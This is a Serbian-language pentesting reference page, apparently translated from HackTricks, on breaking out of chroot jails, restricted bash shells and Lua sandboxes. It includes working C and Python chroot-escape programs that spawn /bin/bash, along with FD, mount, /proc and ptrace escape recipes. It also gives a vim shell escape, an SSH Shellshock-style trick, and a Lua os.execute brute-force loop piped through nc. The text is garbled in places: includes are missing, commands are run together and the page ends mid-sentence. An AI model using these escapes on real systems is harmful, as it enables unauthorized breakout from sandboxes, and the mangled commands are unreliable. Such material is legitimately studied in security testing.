Pretražite nahttps://gtfobins.github.io/da vidite da li možete izvršiti bilo koji binarni fajl sa "Shell" svojstvom
Chroot Izlazi
Sa wikipedia: Chroot mehanizam nije namenjen za odbranu od namernog mešanja od strane privilegovanih (root) korisnika. Na većini sistema, chroot konteksti se ne slažu pravilno i chrootovani programi sa dovoljnim privilegijama mogu izvršiti drugi chroot da bi pobegli.
Obično to znači da da biste pobegli, morate biti root unutar chroot-a.
Alatchw00t je kreiran da zloupotrebi sledeće scenarije i pobegne iz chroot.
Root + CWD
Ako ste root unutar chroot-a, možete pobegnuti kreiranjem drugog chroot-a. To je zato što 2 chroot-a ne mogu koegzistirati (u Linux-u), tako da ako kreirate folder i zatim napravite novi chroot u tom novom folderu dok ste van njega, sada ćete biti van novog chroot-a i stoga ćete biti u FS-u.
To se dešava jer obično chroot NE pomera vaš radni direktorijum na označeni, tako da možete kreirati chroot, ali biti van njega.
Obično nećete pronaći chroot binarni fajl unutar chroot zatvora, ali možete kompajlirati, otpremiti i izvršiti binarni fajl:
C: break_chroot.c
```c #include #include #include
//gcc break_chroot.c -o break_chroot
int main(void) { mkdir("chroot-dir", 0755); chroot("chroot-dir"); for(int i = 0; i < 1000; i++) { chdir(".."); } chroot("."); system("/bin/bash"); }
</details>
<details>
<summary>Python</summary>
```python
#!/usr/bin/python
import os
os.mkdir("chroot-dir")
os.chroot("chroot-dir")
for i in range(1000):
os.chdir("..")
os.chroot(".")
os.system("/bin/bash")
Ovo je slično prethodnom slučaju, ali u ovom slučaju napadač čuva deskriptor datoteke za trenutni direktorijum i zatim stvara chroot u novom folderu. Na kraju, pošto ima pristup tom FDvan chroot-a, pristupa mu i beži.
</details>
### Root + Fork + UDS (Unix Domain Sockets)
<div data-gb-custom-block data-tag="hint" data-style='warning'>
FD može biti prosleđen preko Unix domen soketa, tako da:
* Kreirajte podproces (fork)
* Kreirajte UDS kako bi roditelj i dete mogli da komuniciraju
* Pokrenite chroot u podprocesu u drugom folderu
* U roditeljskom procesu, kreirajte FD foldera koji je van novog chroot-a podprocesa
* Prosledite tom podprocesu taj FD koristeći UDS
* Podproces menja direktorijum na taj FD, i pošto je van svog chroot-a, pobegnuće iz zatvora
</div>
### Root + Mount
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Montiranje root uređaja (/) u direktorijum unutar chroot-a
* Chrootovanje u taj direktorijum
Ovo je moguće u Linux-u
</div>
### Root + /proc
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Montirajte procfs u direktorijum unutar chroot-a (ako već nije)
* Potražite pid koji ima drugačiji root/cwd unos, kao: /proc/1/root
* Chroot u taj unos
</div>
### Root(?) + Fork
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Kreirajte Fork (podproces) i chroot u drugi folder dublje u FS i CD na njega
* Iz roditeljskog procesa, premestite folder u kojem se podproces nalazi u folder prethodni chroot-u dece
* Ovaj podproces će se naći van chroot-a
</div>
### ptrace
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Pre nekog vremena korisnici su mogli da debaguju svoje procese iz procesa samog sebe... ali ovo više nije moguće po default-u
* U svakom slučaju, ako je moguće, mogli biste ptrace u proces i izvršiti shellcode unutar njega ([vidi ovaj primer](linux-capabilities.md#cap\_sys\_ptrace)).
</div>
## Bash Jails
### Enumeration
Dobijte informacije o zatvoru:
```bash
echo $SHELL
echo $PATH
env
export
pwd
Измените PATH
Проверите да ли можете да измените PATH env променљиву
echo $PATH #See the path of the executables that you can usePATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin#Try to change the pathecho/home/*#List directory
Koristeći vim
:setshell=/bin/sh:shell
Kreirajte skriptu
Proverite da li možete da kreirate izvršni fajl sa /bin/bash kao sadržajem
red/bin/bash> w wx/path #Write /bin/bash in a writable and executable path
Dobijanje bash-a preko SSH
Ako pristupate putem ssh, možete koristiti ovu trik da izvršite bash shell:
ssh-tuser@<IP>bash# Get directly an interactive shellsshuser@<IP>-t"bash --noprofile -i"sshuser@<IP>-t"() { :; }; sh -i "
Napomena da se svaki put kada izvršite prethodni jedan red u drugom lua okruženju redosled funkcija menja. Stoga, ako treba da izvršite jednu specifičnu funkciju, možete izvršiti napad silom učitavajući različita lua okruženja i pozivajući prvu funkciju iz le biblioteke:
#In this scenario you could BF the victim that is generating a new lua environment#for every interaction with the following line and when you are lucky#the char function is going to be executedfor k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end#This attack from a CTF can be used to try to chain the function execute from "os" library#and "char" from string library, and the use both to execute a commandfor i inseq1000; doecho"for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end"|nc10.10.10.1010006|grep-A5"Code: char"; done
Dobijte interaktivnu lua ljusku: Ako ste unutar ograničene lua ljuske, možete dobiti novu lua ljusku (i nadamo se neograničenu) pozivajući: